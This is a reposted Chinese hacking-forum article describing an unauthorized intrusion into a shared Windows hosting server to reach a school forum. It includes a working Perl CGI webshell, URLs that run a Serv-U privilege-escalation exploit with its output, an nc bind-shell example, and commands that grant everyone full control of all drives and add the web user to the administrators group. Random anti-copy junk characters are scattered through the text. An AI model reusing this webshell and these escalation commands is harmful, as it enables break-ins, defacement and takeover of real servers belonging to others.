找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1854|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
1 U2 k) z9 _/ o$ s本文作者:angel$ F" R9 \/ m6 {  F* e5 h( V3 O
文章性质:原创
' d1 [! P( b) ^+ V, L* O发布日期:2004-11-09 + Q# n6 m6 X# p7 ^& V7 `- `+ K
注意:
5 Z' {" [1 x0 B6 `; j. N! B本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
( N  y3 N6 n! t$ a本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。: i7 N9 C6 P6 t$ d# J. m
: r; E7 @- u# i2 o! _6 [
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
7 g7 p2 Z- X# q& l* n: _% C) p" }0 P7 L1 n5 X
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
. F' f4 |( c9 E! f
  M# n* L2 ]& b1 F; H* p" p! o  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
4 D0 c( w- x* r4 U9 E" A' R
. E0 ]5 x& o2 N3 t  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
6 C, f" @7 K; W" E3 I' j. O8 o! L+ I  n% C+ V
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 2 j  W( `+ |. r: n- F4 j( m, p

9 H# b4 b2 ?3 \. `+ N$ L  z  没有目的的跳转目录着……
6 O  H& W$ a# {7 }) `1 }
9 `/ g" ]' @, y0 F& T4 x0 w  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ( c; k! n6 N+ h* \* @+ E0 x1 g8 i0 j

  d& t3 ?7 o8 |  结束了吗?不,我试着 FTP 一下:
& r: P) L/ L3 k' ]. m! X& I0 K$ W
Microsoft Windows 2000 [Version 5.00.2195]5 R, X" ^* n0 g$ u9 J
(C) 版权所有 1985-2000 Microsoft Corp. 2 @7 A5 @0 z' F4 M( ]0 n3 `1 p; K
, O! D: t- \  v# v* d% Y7 K
C:\Documents and Settings\Administrator>ftp www.school.com
5 U" b$ o2 V  T9 C, N# E+ z' k. mConnected to www. school.com.
1 m# Z2 H2 v; f- N. M; @220 Welcome to FTP Server...
- X. O) J! D) ?% |1 E% TUser (www.bjtrq.com:(none)):
7 }3 y$ I$ k: k$ r% D; ?331 User name okay, need password. 1 s: g0 H. J( d
Password: * |/ ?4 ^6 N# h; E$ N( x( c
530 Not logged in. " ]: J/ A/ G9 X9 J3 T+ n
Login failed. ) s6 e/ \3 g5 O3 t. T
ftp> bye . b5 b: c9 X; ?7 h! o. f. d
221 Goodbye! 0 n: H1 R# C5 _
9 h# }6 X( j2 @' a, V

0 h6 U1 D, K0 G' V" y) k0 w  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… , g5 L% \- K- B' ^% w6 n0 E

4 x$ U; b" \0 j) c, \1 V  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ' ]  A; @6 x7 t4 Z! F% c! t
* H% Y" G! m. Z) u/ \* v9 f
Application Data2 q( C% \7 F# N1 s, j  G
Documents/ N; X- @3 t9 t2 B8 T9 O/ J0 M
DRM6 C) R" S) w+ Z4 E: A( e5 R
Favorites! P0 c# T# V: |6 B; i: y, t
Templates; h0 Y  E; O/ c- A
「开始」菜单) s2 {( T  p* b& y. I# c/ i/ b
桌面8 {' y. A7 H9 E

) C0 g+ k7 ?: e# y
+ U5 Y8 F9 \8 n! G  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, : t- T) ]+ b' _7 _0 _

! Y2 x+ o- x* S1 f$ k) NActiveState ActivePerl 5.8
" W% Q/ L3 r( B& F4 T9 L! h; FAdministrative Tools! _9 H5 b9 a2 {
Deerfield.com# R  u* \6 v# x+ N8 S# _8 U
DTemp! P) d# n7 D& S$ ]6 [
IPSentry
* E9 o( d/ ?6 x0 lMBM 5
8 W& M5 A$ ], |7 eNetMeter
- }: R6 R4 b3 `$ F  hNetwork ICE, W! B+ q! j, O* e( ?5 W$ ]
Persits Software AspEmail
& h. a- o/ _  P* v& z2 `% T8 I% `1 EPersits Software AspJpeg
8 c1 b  D; @$ B9 }  dServ-U FTP Server
, M0 {; p* I5 x. `0 `8 G( B5 a- HSymantec Client Security
1 P( E3 R. i4 T+ p/ [0 y$ C( @Windows 优化大师
0 {* F' H5 j6 p: d9 N5 hWinRAR
1 C7 F) c  B* X启动
/ `$ h7 B3 C' R7 D$ D; h) {管理工具9 U0 y& S' k! r5 g' v
附件
) o8 U3 B# ^7 A" G, P5 _. m 7 J" t$ M) S8 ~  J$ Q5 W

6 Z3 U) F5 o; |8 T0 _  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
& k: }1 A" S! y9 A$ Q
+ C4 @6 X% l8 a: @) T0 m  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 2 o! x3 p( O. l. D, J
: K9 q! g" J  X2 {" F
User281=angel|1|0 ; B$ [9 X" c! H3 `# s. p( Q* G

' B8 F% }4 {! k- P  Q) D. q9 d4 o$ j9 H! P# S8 f
  然后加上 + s9 s/ S3 i( R; F! C2 H

  f+ [4 Z  c1 z[USER=angel|1]# V, w' O6 B2 m# `
Password=ng98F85379EA68DBF97BAADCA99B69B805+ z. M* Z7 K: ^  s
HomeDir=D:\websites9 v( n0 }8 ~9 B% ?7 _5 m8 n7 ^
RelPaths=1
' O3 q. J! v+ g$ b% }TimeOut=600
) ]0 h0 `. L0 _Maintenance=System5 d- x& N5 Z' Z" Z
Access1=D:\websites|RWAMELCDP* c) V* e7 S) H- j
SKEYValues=
  |4 S: p! y4 Z# J# O
' j& ~1 `' W4 F: b8 q+ P+ `/ J5 Y' n% i7 b
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… / {' ~2 ]6 H, Q+ ^' E# U7 j
7 v2 h# s0 [9 g4 ?, S+ F/ p& q
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
" @  x+ H& w7 e0 @8 b- q: _; Q! W: s# d- v+ ~
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
: p. N1 u  N* d6 f/ x4 h& R+ I7 I. A( h9 G: ^4 l( j5 G" C
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
$ o6 z% @* H8 q, x: d. Z* V
* \+ w' b, c* r1 W) x% m# P, K#!/usr/bin/perl
) Y4 n! [. y( ]8 qbinmode(STDOUT);
. X( W9 t- k  N+ Y1 p. qsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);5 c" A  `' i7 K
$_ = $ENV{QUERY_STRING};
4 g) U# b2 Z/ {0 Ms/%20/ /ig;
) ~; q% L2 u3 H. j( n* Ks/%2f/\//ig;
) g: _2 \( D2 e7 B$execthis = $_;
% @0 w5 a: P2 J9 J1 q! csyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
7 z: O$ O/ ?6 zopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";3 X6 I3 q6 U$ D' |6 b
system($execthis);
- k) e& d. c0 Wsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);# r# f- o. R) E6 |
close(STDERR);
5 Y* W6 C, P: J7 ^  Oclose(STDOUT);0 _  ^' Z* a2 w' ~, X  ^6 I
exit;- E$ o! M1 U; z; ~8 c
1 F; j6 C0 \" I, e

) @) J3 N" D' j. b4 y  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
7 T. I  e, `: Z$ u8 O6 D
* r% _1 O2 M7 Q; S- E  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
7 @) B( m0 n4 Y+ }
$ i9 Q+ v5 M/ d8 lhttp://anyhost//cmd.pl?d:\user\bin\su.exe
2 \% x5 w) R: t+ W  q8 |
1 ]) N( d  Z9 G. \" J# K( g8 z
0 S& U+ c5 a, X8 h& O8 b0 h  返回: % H' ~! @  X" y( `; {2 ^8 T

! u! p5 D7 F( z4 V1 z! G0 f' @! KServ-u >3.x Local Exploit by xiaolu 7 g  \: }- R0 a* Y. a3 Q
3 l; V+ Y- c! Z% M# Q; O- j, m
USAGE: serv-u.exe "command" - n8 L2 y: z  `, L; R: m$ ?" p/ D

; |9 @! @, {- WExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
) V, G. w2 h: z% \; X( L/ x - F2 [) {* K5 y( K& |/ Z0 v

! |0 d  Y" Q0 R% _  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ' l7 s4 V4 m/ |6 }, q
: W' ]7 q6 k  r% x% F. X
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
. P: G7 z+ c- {9 R. a. G. E
* O/ x; W# i/ }* `, H" _8 M8 \http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" & Z% I0 C" a% m) `
/ t; h# k/ B4 S" r, z. x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 6 {2 {$ L- `: Z+ E$ D
% O# k0 _1 {2 N' L* ~6 d" Y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
3 t1 ]) W9 e6 M( c) u! T( k 9 W/ `$ G* t- E
  K+ P: M9 t. }( ]  O
  返回下面的信息,就表示成功了!!!
; O$ r1 W+ T3 n* i
$ }, W8 @4 W$ O( q) fServ-u >3.x Local Exploit by xiaolu - }1 l2 ?) B  b# X
, ]9 o* G+ j# D( |, |3 S; i. V
<220 Serv-U FTP Server v5.2 for WinSock ready...
8 d8 J1 n" x( y, N: x3 O
# M; _2 {8 L2 ]4 j6 s>USER LocalAdministrator
' E/ ?/ A7 P! C' |7 i0 f" A9 g5 c( Z+ v3 d, p- b
<331 User name okay, need password. " V1 P4 ^6 W9 M# s

# A& @3 M4 Q/ k# L  L& A- R$ v****************************************************** + s- z4 L1 ]4 ^/ S" ]0 N
3 F8 Y9 y9 T  v% h  y  z
>PASS #l@$ak#.lk;0@P " y; x  N& g9 q
" A$ p0 E- E& o. K: G
<230 User logged in, proceed.
, q; B$ ^, P1 g8 ]9 \/ ?4 s1 J+ u$ D/ ~
******************************************************
8 Z7 m. \* n! C. ~6 k9 W" e5 ~5 o/ @+ V! q% B  F& b) H/ A) {' j) I
>SITE MAINTENANCE
% ?- `; j- t0 y. p0 H& i, [
, I, \7 U+ p$ M! g****************************************************** / e3 G) z7 V7 `5 [) Q
9 s, `: j+ N: `* G& k
[+] Creating New Domain... / [% o. m1 V  h" G) ]

/ {, @6 n8 Q! h9 {<200-DomainID=2 ' ]6 u, g, ^8 L- C
4 m1 _4 B& m" T; X' {. w
<220 Domain settings saved
4 J& c1 R* H7 @. \9 k/ J7 m
: g2 x% B$ A/ W  B9 ]****************************************************** 6 |. o- Z! F7 p" d+ z3 a9 Q
# o" r- w7 S; O9 Z# l* x, s, t
[+] Domain xl:2 Created " [7 Z9 z2 C7 ~% \0 y

- O4 Q  Y1 T, z: L" A$ p/ s2 V9 n. ?! f[+] Creating Evil User - K; I  i* f' P' C) }

* h0 x4 P5 u. Z% \9 `' h' N0 `<200-User=xl 8 J8 P+ ~, B2 L7 S
: R# c. Q! N% {" y  ]/ V4 }
200 User settings saved % C, p/ H" w& S! I

+ w/ x. J% Z/ c0 A' U' Y1 q3 [******************************************************
7 y8 q9 |8 i: j5 G5 `% T
& s% r* m# |% _- {( a6 O[+] Now Exploiting... # u- {6 T# N' @) U0 \9 j4 [) g1 R' ?

$ z- N- D, c9 A>USER xl 6 D( G1 i- b4 [* C
' u$ ~1 p6 F# }& D  M
<331 User name okay, need password.
: T  z$ H2 [& v' b+ g
5 v, Y, x6 `' O. G  u( K% X* k8 F******************************************************
4 ], ^- d" C  \6 v# o
) M% `2 s# V8 P2 |4 @- K( O>PASS 111111 " @2 b7 R" O" p$ k5 x  d5 ^$ t
  I5 [1 g2 R6 V& Y& C
<230 User logged in, proceed.
' N1 _; k/ R7 `( P* I
3 w1 h' B& {2 ^) Y******************************************************
# N/ k8 `9 `# y. [, Y
$ A6 i, P8 z1 ]6 u' d3 e- u[+] Now Executing: cacls.exe c: /E /T /G everyone:F 4 L* A7 x4 _' O% X$ V

! U- d/ Y  i* X: U4 O. J4 M<220 Domain deleted 8 B0 H" J) A3 j3 s: E( u: F

  L: m8 R( x3 d9 s; h. b******************************************************
/ v) _4 `) D5 [( Y; Z( }% D8 ]5 ^
5 q9 V) K) a) m, o3 J& {% e. i" L. I) D' ]7 B
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
- p* v/ M! ~$ }8 s4 e
- [2 Y- b9 V5 i; ?3 E0 N7 z5 ^' Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 8 S: v# x! W; z9 d, `- d
3 T$ Z7 f3 A4 k% e

; y" G, k0 K# |6 X9 c# }4 [3 E' [( {  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
) y8 N' h4 m% o( K4 X& A5 }% ?1 }5 H2 O+ b, ?, c5 k) }
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
8 l4 _0 a2 [9 Q. v& q- K 2 l4 D" X6 b' y0 U+ ?
  3 U1 J) R3 |: i8 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表